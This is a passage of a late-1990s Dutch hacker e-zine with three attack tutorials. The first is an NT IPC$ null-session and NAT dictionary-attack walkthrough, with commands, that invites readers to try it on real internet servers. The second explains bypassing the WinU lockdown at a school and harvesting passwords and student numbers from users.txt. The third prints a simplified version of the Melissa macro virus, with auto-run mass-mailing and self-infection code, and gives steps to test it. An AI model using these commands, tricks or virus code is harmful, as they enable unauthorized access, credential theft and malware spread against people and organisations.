zal de meest omstreden IT-security event sinds HIP (www.hip.nl) worden gehou- den. In een sporthal van 2500m2 zullen een kleine 1000 hackers, crack- ers, phreakers, netwerkbeheerder, systeembeheerders en iedereen die geïntresseerd zijn in computers en de beveiliging daarvan aan- wezig zijn, naast een unieke programma, krijgt iedereen een Linux distro, een T-shirt en kan men gratis zijn/haar toestel van waar- deloze SP SIM Lock ontdoen. Zie http://www.hit2000.org voor meer info. De redactie ------------------------------------------------------------ 07. NT v.s. NT (Dictionary Attack via de IPC$ share) ------------------------------------------------------------ NT wordt door systeembeheerders vaak gebruikt als webserver, van- wege de eenvoudige installatie en beheer mogelijkheden. Dat is leuk, maar brengt gevaren met zich mee, als de beheerder zich niet beseft dat de standaard (File) 'Server Service' ook via internet benaderbaar is. Vooral kleine bedrijfjes vergeten dat weleens. Het RHINO9 team, en NeonSurge in het bijzonder documenteren deze en andere zwakke plekken in 'Wardoc.txt' op hun website. Een uit- stekend document dat de IPC$-attack bijna stap voor stap be- schrijft, maar niet bedoeld is voorbeginners. Dit artikel is bedoeld als korte inleiding en samenvatting van hun uitleg. Met wat basiskennis over NT zou het goed leesbaar moeten zijn. Voor deze hack heb je minimaal een NT Workstation 4.0 client nodig, aangevuld met de tooltjes uit de NT Resource Kit. Het is makkelijk als je de opties van de DOS shell aanpast door 'quickedit' aan te zetten (om copy/paste met de muis te doen). Onderaan staan de tools beschreven, die nodig zijn voor deze hack en een paar leuke links. 1. Theorie over NT shares en netwerkcommunicatie: Eerst wat theorie. Elke MS client (en unix client met samba) kan gebruik maken van de file & printer services van NT Server. Clients kunnen verbindingen maken naar printers en directories. Uiteraard beperkt de beheerder normaal gesproken deze mogelijk- heiden met bestandsrechten. De printer en directory diensten ('shares' genoemd in het Engels) worden aangeboden via het SMB protocol. SMB staat voor Service Message Block protocol (ook wel Server Message Block genoemd). Dit protocol zet TCP port 139 open op de betreffende server. Als een portscan aangeeft dat TCP port 139 open staat, dan zijn deze diensten dus over het netwerk in principe voor iedereen (!) be- schikbaar. Shares worden genoteerd volgens een algemene conventie. Deze me- thode heet de Universal Naming Convention ofwel UNC. Het formaat is: \\servernaam\sharenaam. Een share is in principe zichtbaar voor iedereen. Dat is niet altijd wenselijk, dus daar is een trucje voor bedacht; Als de sharenaam aangevuld wordt met een dollar-tekentje, dan is deze niet meer zichtbaar maar wel bruikbaar. Geweldig. Een voorbeeld: \\servernaam\users is zichtbaar als 'users' en \\servernaam\admin$ is niet zichtbaar, maar wel bruikbaar voor iedereen die weet dat er achter 'admin' een dollartekentje achter staat. Dit staat in alle NT boekjes netjes uitgelegd. Bij een standaard geinstalleerde server maakt NT bij het booten altijd een aantal verborgen shares aan speciaal voor de admini- strators. Elke schijf wordt geshared en een paar belangrijke di- rectories: C$ de hele C-schijf D$ de hele D-schijf (etc...) admin$ %systemroot%\WINNT netlogon logon scripts in %systemroot%\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS print$ printer drivers voor clients IPC$ communicatie share voor het systeem met andere systemen Tevens maakt NT een share aan om met andere NT servers te kunnen communiceren. Deze share heet de 'Inter Process Communication' (afgekort IPC) share en is altijd verborgen. De UNC naam is dus \\servernaam\IPC$. Nu wil het toeval dat de mogelijkheden van deze share groter zijn dan MS bedoelt heeft. NeonSurge heeft ontdekt dat een hacker zonder problemen een verbinding kan maken naar de IPC$, zonder een usernaam prijs te geven. De computernaam is niet goed afge- schermd overigens. Een ieder die een verbinding heeft met de IPC$ van een server hoort automagisch tot de EVERYONE groep van die server en daar- door is het mogelijk belangrijke informatie van de server te ontfutselen :)) 2. Netwerkverbinding maken Stel we hebben een (web)server gevonden met een open 139 poortje. Open een shell (CMD.EXE of COMMAND.COM) en tik het volgende: C:\>NET USE \\ip.nummer.van.server\IPC$ "" /user:"" De aanhalingstekens zijn essentieel (!), omdat de username dan de waarde NULL heeft. Je ziet de bevestiging 'The command completed successfully.' als het goed is (kan soms tientalle seconden duren ). Je kunt ook een internet domain name invullen als servernaam, maar ik weet niet of dat (on)zichtbaar is. Om te controleren of de verbinding er (nog) is tik je: C:\>NET USE en je ziet alle netwerkverbindingen die op jouw pc actief zijn, inclusief die naar IPC$. Nu zijn we nieuwsgierig wat er aan shares aangeboden wordt op de server en tikken: C:\>NET VIEW \\ip.nummer.van.server Een voorbeeld uit de praktijk: Shared resources at \\ip.nummer.van.server Share name Type Used as Comment -------------------------------------------------------- D-Dago Disk dago-sites Disk dagon-sites Disk Bovenstaande listing komt van een webserver van een internet provider, ergens in Nederland. 3. Informatie ontfutselen En toen ? Laten we eens kijken wie de server beheert. We maken gebruik van de NT Resource Kit tools. Tik het volgende: C:\>LOCAL administrators \\ip.nummer.van.server Er rolt nu een lijstje logins over het scherm. Deze namen hebben we nodig voor de volgende stap dus we maken er een mooi bestandje van door te tikken: C:\>LOCAL administrators \\ip.nummer.server > local.admins.txt De andere standaard groep "users" bevat alle gewone user ac- counts. We zijn geinteresseerd in de admins, want die mogen als enigen een netwerkverbinding maken met de root van de schijven, oftewel de C$ en eventuele andere (logische)drives. Ook leuk is bijvoorbeeld het tooltje NETDOM dat allerlei zoge- naamde 'domein' informatie ophaalt. Bijvoorbeeld: C:\>NETDOM query \\ip.nummer.van.server Weer een praktijkvoorbeeld: NetDom 1.2 @1997. Written by Christophe Robert (chrisrob@microsoft.com). Querying domain information on computer \\x.x.x.x ... The computer \\x.x.x.x belongs to the Workgroup DISNEY. Een systeembeheerder met humor dus :)) Ik sluit niet uit dat er meer tools uit de Resource Kit werken via de IPC$ sessie. NeonSurge zegt bezig te zijn een tool te ont- wikkelen die alle leuke feitjes automagisch opvraagt. Ik heb gister nog even gecheckd, maar hij is nog niet klaar. 4. Dictionary attack: Ok, genoeg gespeeld. We hebben nu een lijst met admin namen. We hebben tevens een 'common-paswords' bestand klaar liggen (mag ik hopen) en we combineren beide door middel van NAT.EXE. NAT staat voor NetBIOS auditing tool en 'test' de security van een NT server. Je vertelt het tooltje welke users je kent, je vertelt hem het IP nummer en je voert hem een paswoord bestand. Vervolgens gaat NAT proberen om voor elke user in te loggen op de share, steeds met een ander paswoord. Niet alleen de zichtbare shares, maar ook de administratieve shares worden geprobeerd. Check NAT /? voor de juiste syntax. Ik kopieer even een stukje uit 'wardoc' van NeonSurge.Dit is een NAT attack 'in progress': [*]--- Reading usernames from userlist.txt [*]--- Reading passwords from passlist.txt[*]--- Checking host: 0.0.0.0 [*]--- Obtaining list of remote NetBIOS names [*]--- Attempting to connect with name: *[*]--- Unable to connect [*]--- Attempting to connect with name: *SMBSERVER [*]--- CONNECTED with name: *SMBSERVER [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03 [*]--- Server time is Tue Oct 14 11:33:46 1997[*]--- Timezone is UTC-4.0 [*]--- Remote server wants us to encrypt, telling it not to [*]--- Attempting to connect with name: *SMBSERVER [*]--- CONNECTED with name: *SMBSERVER[*]--- Attempting to establish session [*]--- Was not able to establish session with no password [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINISTRATOR' [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST' [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT' [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN' [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWORD' [*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD' [*]--- Obtained server information: Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[] [*]--- Obtained listing of shares: Sharename Type Comment --------- ---- ------- ADMIN$ Disk: Remote Admin C$ Disk: Default share D$ Disk: Default share E$ Disk: Default share HPLaser4 Printer: HP LaserJet 4Si IPC$ IPC: Remote IPC NETLOGON Disk: Logon server share print$ Disk: Printer Drivers [*]--- This machine has a browse list: Server Comment --------- ------- AENEMA [*]--- Attempting to access share: \\*SMBSERVER\[*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\ADMIN$ [*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$ [*]--- Checking write access in: \\*SMBSERVER\ADMIN$ [*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$ [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$ Etc.... NAT loopt nu alle shares langs. Met een beetje geluk is het password te vinden in het common-passwords bestand en we zijn binnen. Tik dan bijvoorbeeld: C:\> NET USE x: \\servernaam\C$\ /user:administrator * vul het door NAT gevonden paswoord in en ga naar je nieuwe net- werkschijf X: :)) Zo niet, dan hebben we genoeg info om netjes de beheerder te waarschuwen dat zijn 'achterdeur' open staat (verwacht geen bedankjes overigens :-). Vergeet niet aan het eind ook weer de netverbinding te beeindigen met de optie /D, dus C:\>NET USE \\ip.nummer.van.server\IPC$ /d Er zijn genoeg servers waar dit mogelijk is om jezelf een tijdje te vermaken. Een tip is de site http://www.netcraft.net die het webserver type en versie opzoekt. Als netcraft aangeeft dat het een IIS server is, dan hoef je alleen nog maar te kijken verbinding naar de IPC$ mogelijk is. Murf. (murfie@mindless.com) BIJLAGE: NT tools: CMD.EXE : command prompt voor NT NET.EXE : netwerk communicatie en beheer tool NT Reskit tools, onder andere te vinden op de MS technet CD series: LOCAL.EXE : list de members van lokale NT groepen NETDOM.EXE : query domein informatie RHINO9 tools: ULTRASCAN : leuke portscanner met save mogelijkheid NAT.EXE : dictionary attack op NT sharesLinks: Netcraft : http://www.netcraft.net NeonSurge : http://www.rhino9.org NAT : http://www.technotronic.com/microsoft.html ------------------------------------------------------------ 08. WinU ------------------------------------------------------------ Op veel scholen en bedrijven etc. wordt het beveiligingsprogramma WinU gedraaid. Dit programma zorgt ervoor dat je niet in Windhoos zelf komt, maar in een soort menuprogramma, dat over Windhoos heen draait, je kunt dit programma niet afsluiten, je kunt ven- sters niet maximaliseren, kortom, je kunt NIKS. Telkens als je de PC opnieuw opstart moet je jezelf aanmelden. WinU gebruikt een lijst om te bekijken wat de wachtwoorden zijn voor elke loginnaam (op mijn school was dat de leerlingnaam met als wachtwoord het leerlingnummer). Nu is het vaak zo dat er een standaardloginnaam is, inclusief nog standaarder wachtwoord. Als je hier achter wilt komen ga je naar de Sysop (of de dienstdoende docent... die weet het meestal ook wel) en je zegt hem dat je loginnaam niet werkt. Je krijgt dan de standaard loginnaam + wachtwoord (in mijn geval was dat: "docent" met als wachtwoord "doc"). Voortaan gebruik je deze naam, ook al doe je niks illegaals. Als je nu in het menuprogramma komt moet je eens gaan kijken welke programma's je kunt draaien. Als hier een tekstverwerker of iets dergelijks bijzit roep je "BINGO", of als gerechtvaarde gymnasium- (sportschool in het Grieks) leerling "EUREKA" (verbastering van de Griekse vertaling van "ik heb het gevonden") Als er geen tekstverwerkingproggramma gestart kan worden is een browser ook goed, eigenlijk elk programma dat .TXT kan lezen is voldoende. Je gaat naar zo'n programma en je opent de file C:\program files\winu\users.txt. Dit is het bestand dat is ge- bruikt om een binair bestand te maken waarin WinU de wachtwoorden leest. Dit bestand is in de meeste gevallen nooit weggehaald, dom dom dom. Hoe komt het toch, dat als mensen veel geld uit geven voor een beveiliging ze dit soort stommiteiten begaan! Als je dit bestand niet kan vinden: pech gehad! Maar niet getreurd, er zijn zat andere leuke dingen die je kan doen met een tekstver- werker, zei iemand daar c:\autoexec.bat? (Als je de autoexec opent zie je als laatste line iets naar WinU verwijzen, dit is natuurlijk snel gewist :-) Maar Goed. Ik dwaal af, het ging over die users.txt. In deze file vind je een hele hoop lijnen, voor elke user 1 line zo'n lijn ziet er als volgt uit: "user","wachtwoord"1 user en wachtwoord spreken voor zich, die 1 is het nummer dat aangeeft welk menu de user krijgt (jaja, onze Sysop is véél te loslippig) het kan natuurlijk elk nummer zijn. Bovenaan deze lijst staan meestal de interessante usernames en wachtwoorden zoals Administrator en zo... De volgende keer dat je inlogt ben je zelf Sysop! je krijgt dan zijn menu en al zijn privileges (voorrechten, ja, ik ben een gympikkie), zoals exit to Windhoos. Simpel niet? opmerking 1: kopieer die lijst eens naar een floppie (als je dat niet met rechtsklikken kunt doen, moet je hem Opslaan Als vanuit de tekstverwerker).Ik ben op die manier alle leerlingnummers van de hele school te weten gekomen... Altijd handig als je te laat bent :-) opmerking 2: als users.txt ontbreekt probeer dan het binaire bestand te vinden en zet het op een floppy, misschien dat je thuis wat kunt ontdekken, een beetje cracker moet hier toch wel wat op vinden... Gr33tZ CaNiBaLeAtEr (canibaleater@hotmail.com) ------------------------------------------------------------ 10. Microsoft Office Virussen in de praktijk ------------------------------------------------------------ Inleiding gevaren van de Microsoft filosofie Als je op Internet nieuwsgroepen leest, valt het op dat veel schrijvers die al wat langer in de computerindustrie zitten een bepaalde aversie hebben tegen Microsoft. Hiervoor zijn verschillende oorzaken. Eén van deze oorzaken is dat Microsoft het de gebruikers soms TE gemakkelijk maakt, waar- door deze (vaak nieuwe) gebruikers fouten maken. In principe is de filosofie die Microsoft heeft natuurlijk uitstekend: gebrui- kers willen over het algemeen niet weten hoe een computer werkt, zolang ze er hun werk maar mee kunnen doen. Microsoft schermt be- paalde dingen dan ook voor de gebruiker af. Eén van de nadelen van deze filosofie kwam echter een paar maanden geleden om de hoek kijken in de vorm van verschillende Office-virussen, waarvan het virus "Melissa" zelfs de kranten haalde. Het Melissa virus werkt als volgt: argeloze gebruikers ontvangen een e-mail van een bekende met een Word-attachment. De gebruiker opent dit Word-documentje, waarna het virus in werking wordt gesteld doordat er Word-Basic code wordt uitgevoerd. Het virus vermenigvuldigt zichzelf door nieuwe e-mails aan te maken en het- zelfde Word-document weer te attachen. Word-Basic wordt tegenwoordig VBA genoemd, wat staat voor Visual Basic for Applications. Ook in Excel kan gebruik worden gemaakt van VBA, en MS Access had behalve standaard macro's al langer ondersteuning voor VisualBasic-code. Wat doet de argeloze gebruiker verkeerd? Microsoft heeft wel degelijk een bepaalde 'beveiliging' ingebouwd om verdere besmetting te voorkomen. Als een Word bestand met VBA-code wordt geopend, komt een vraag voor de gebruiker op. De vraag luidt of de "Macro-code" dient te worden uitgevoerd. Kiest de gebruiker ervoor dat deze code inderdaad wordt uitgevoerd, dan wordt het virus verspreid. Over het algemeen beschouwt een argeloze gebruiker zo'n vraag alleen maar als 'hinderlijk'. De gebruiker wil gewoon het docu- ment bekijken en kiest er dus voor om de code uit te voeren, sterker nog, deze vraag voortaan niet te willen zien. De gebrui- ker kan door middel van een checkbox aangeven of deze vraag de volgende keer weer moet worden gesteld. Beginnende gebruikers zullen deze checkbox zo aanvinken dat ze de vraag niet meer krij- gen, waardoor ze de beveiliging uitzetten en de computer besmet kan worden met elk willekeurig Macro-virus. Ervaren gebruikers die van de macro-virus-gevaren op de hoogte zijn (ja, u hoort daar vanaf nu dus ook bij!) zullen nooit voor de optie kiezen om de attachte macro's uit te voeren, zelfs niet als ze weten van wie het bestand afkomstig is. Pas als u bekend bent met de macro's of VBA-code in een Word of Excel document, kunt u pas kiezen om deze macro's uit te voeren. Om u hierin inzicht te geven en u enigzins bekend te maken met de VBA-code, zullen we nu een vereenvoudigde versie van het melissa virus doornemen. Verkorte code Voordat we naar specifieke instructies van het Melissa virus kij- ken, zullen we eerst kijken naar de functionaliteit en de Word-VBA-code om een attacht-bestand te vermenigvuldigen naar een ander Email-adres. Verondersteld wordt dat we deze code in een WORD-document hebben gestopt en dit document als attachment hebben opgestuurd naar de argeloze Office-gebruiker die zijn Email afhandelt met Microsoft Outlook en verder ook MS-Word heeft geïnstalleerd. De (Macro-)code is als volgt: (alle regels die beginnen met een '-teken zijn commentaar regels en worden niet door VBA ge-interpreteerd). ===== Private Sub Document_Open() ' Dim eerst de variabelen Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice, Adres ' Maak een koppeling naar Outlook Set UngaDasOutlook = CreateObject("Outlook.Application") ' Initialiseer MAPI (is een MS-mail-standaard) Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") ' Als Outlook gevonden is dan.. If UngaDasOutlook = "Outlook" Then ' Log in bij het mailsysteem DasMapiName.Logon "profile", "password" ' Maak een Emailbericht Set BreakUmOffASlice = UngaDasOutlook.CreateItem(olMailItem) ' Vul het "to:" veld in Adres = "support@microsoft.com" BreakUmOffASlice.Recipients.Add Adres ' Vul het subject-veld in BreakUmOffASlice.Subject = "Important Message From " & Application.UserName ' Vul de message-body BreakUmOffASlice.Body = "Hier is dat document waar je laatst om vroeg!" ' Attach dit word-document aan de Email BreakUmOffASlice.Attachments.Add ActiveDocument.FullName ' Verzend de Email BreakUmOffASlice.Send ' Log weer uit het mail-systeem DasMapiName.Logoff End If End Sub ======== Ongeveer 12 regels code, dat is alles. Deze VBA-code is vrij eenvoudig. In een WORD bestand is aan het 'event' Document_Open de code toegevoegd. Er is gekozen voor het Document_Open event, omdat dit event elke keer dat een gebruiker het document opent, in Word wordt uitgevoerd. Als je zelf in het bezit bent van Outlook en je gebruikt dit ook als Email-Client, dan kun je deze code zelf testen. Dit kan als volgt. Maak een word-document aan en tik ALT-F11. Als het goed is, kom je nu in het VBA-gedeelte van Word. Zoek nu het event Document_Open op en cut&paste de bovenstaande code. Bewaar het document, sluit het document af en open het document weer met "enable macro's". De code zal dan worden uitgevoerd. Als je in de code de regel met Adres = "support@microsoft.com" wijzigt naar je eigen email adres, zul je een emailtje aan je ei- gen adres versturen met het zojuist gemaakte word-document. Het Melissa-virus De code in de vereenvoudigde versie is een bewerking van het ori- ginele Melissa virus. Het melissa virus heeft meer functionali- teit. Zo wordt er niet 1 emailtje verzonden, maar er worden e- mailtjes verzonden aan alle eerste 50 entries in ALLE outlook- adreslijsten. Dus als een gebruiker 5 adresboeken heeft aange- maakt met in iedere lijst 100 adressen, zullen er 250 emailtjes verstuurd worden, elk met een Word-document als attachment. Dit wordt gedaan door middel van een for-next loop die alle contacts uit het adressenboek langs gaat. === ' ga alle adreslijsten af: For y = 1 To DasMapiName.AddressLists.Count ' maak een referentie naar adreslijst 'y' Set AddyBook = DasMapiName.AddressLists(y) x = 1 ' loop door alle adressen heen For oo = 1 To AddyBook.AddressEntries.Count Adres = AddyBook.AddressEntries(x) ' de verstuur regel..(het to-veld in email) BreakUmOffASlice.Recipients.Add Adres x = x + 1 ' de loop afkappen als we 50 adressen gehad hebben If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo ' subject/toveld vullen hier even weggehaald BreakUmOffASlice.Send ' volgende adreslijst Next y ==== De destructieve werking van zo'n virus is te begrijpen als men zich het volgende voorstelt: in veel bedrijven wordt gebruik ge- maakt van gedeelde adresboeken, waardoor elke gebruiker van het 'bedrijfs-email adresboek' gebruik kan maken. Er hoeft binnen zo'n bedrijf maar een klein percentage personen te zijn die het document onbeveiligd openen om complete mail-servers plat te leggen... Tevens zit er in het virus code die meteen de instel- ling in Word wijzigt die ervoor zorgt dat de vraag "macro's uit- voeren?" niet meer op komt, maar altijd de macro's uitvoert als een document wordt geopend. Na uitvoering van het virus wordt deze 'veiligheids-vraag' dus niet meer gesteld en zullen altijd macro's worden uitgevoerd. Het is zelfs zo erg dat er een registry entry wordt gewijzigd die het menu-item uit Word verwijderd waarmee deze instelling binnen Word niet meer kan worden 'aan' gezet. De argeloze gebruiker rest dan niets anders meer dan een systeembeheerder erbij te roepen die weet welke Registry-entry hij moet aanpassen om het probleem te verhelpen. Infecteren van andere documenten Het melissa-virus is daarnaast nog zo verstandig om zichzelf te kopieren naar andere Word-bestanden die de gebruiker mogelijk ook open heeft staan. Er wordt eerst een referentie gemaakt naar een ander, openstaand, MS-Word bestand: Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) De Macro-code van dit bestand wordt eerst volledig gewist: === Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop === ...waarna het virus zichzelf kopieert naar het document door alle VB-regels 1 voor 1 te kopieren naar het andere bestand, van- af regel 2 (immers, regel 1 is al bezet door de regel 'private sub document_open' === BGN=2 Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop === Zelf meer uitzoeken Als je zelf een beetje kunt stoeien met VB, kun je veel meer uit- zoeken over VBA. Ben je in het bezit van Visual Basic, dan heb je, als het goed is, ook een CD met helpfiles over VBA. Wil je informatie over Outlook-objecten, dan kun je meer informatie vinden in de VBAOUTL.HLP file. Uitleg over de Outlook-VBA code staat namelijk _niet_ in de Word-VBA helpfile! Het achterhalen van de maker Voordat je nu zelf met deze informatie een 'virus' in elkaar gaat knutselen, wil ik je nog even waarschuwen voor het volgende. In- middels is met zekerheid vastgesteld wie de maker is van het Me- lissa-virus. Dit komt doordat Microsft ervoor zorgt dat er in ieder WORD-docu- ment ook gegevens over de gebruikte hardware worden opgeslagen, zoals het unieke MAC-adres van de netwerkkaart. Dat zijn dus nog- al privacy-gevoelige gegevens, want de maker is aan de hand hier- van opgespoord. Dit is een andere oorzaak voor het haten van Mi- crosoft: jouw prive-gegevens zijn, als je met Office werkt, niet meer veilig, omdat je niet weet wat Office precies met jouw gege- vens op jouw computer uitspookt. Lees hier meer over op: http://www.webwereld.nl/nieuws/blank.phtml?id=1815 Varianten van Melissa Toen het Melissa-virus de wereld veroverde, doken al heel snel varianten van het VBA-virus de kop op. Het Excel-Papa virus is daarvan één van de virussen met een 'staartje'. Het virus voert bij uitvoer ook een ping uit, in dit geval een zogenaamde "denial of service attack" op twee IP-adressen. Meer informatie kunt u vinden op: www.avertlabs.com/public/datafiles/valerts/vinfo/x97m-papa.asp Tot slot Tot slot nog een preek :-) Wees geen cracker maar een hacker en bouw geen virussen. Leef je nieuwsgierigheid uit door de werking van virussen te onderzoeken en licht onwetende gebruikers in over de gevaren ervan. Wees ook op je hoede voor te gemakkelijk te ge- bruiken Microsoft-applicaties, want behalve in Word zitten er ook in Excel en MS Access de beruchte VBA, en er is nu al vernomen dat de nieuwe versie van Outlook in Office2000 ook VBA onder- steuning heeft. Hace (Hace is software engineer bij een Microsoft Solution Provider. Je kunt eventuele reacties op dit artikel via de redactie aan hem sturen.) ------------------------------------------------------------ 11. Ditjes en datjes ------------------------------------------------------------ H4H-site Binnenkort komt er een heel nieuwe pagina, het geheel wordt in een nieuw jasje gestoken. Tevens worden de delen van h4h vertaald in het Engels, zodat het geheel een internationaal tintje gaat krijgen. Artikelen kunnen nu ook in plaats van in het nederlands, in het engels geschreven worden. Banners en andere verveulende ongein De laatste tijd wordt er veel in de nieuwsgroepen gevraagd hoe je die vervelende banners en schermpjes van geocities of tripod kwijt kan krijgen. Het is misschien een idee om hier een artikel over te schrijven. Als mensen dit een goed idee vinden, stuur dan even een emailtje. Tevens als men weet hoe je een van die verve- lende banners kwijt raakt meld het dan even. Asby (post@hackers4hackers.org)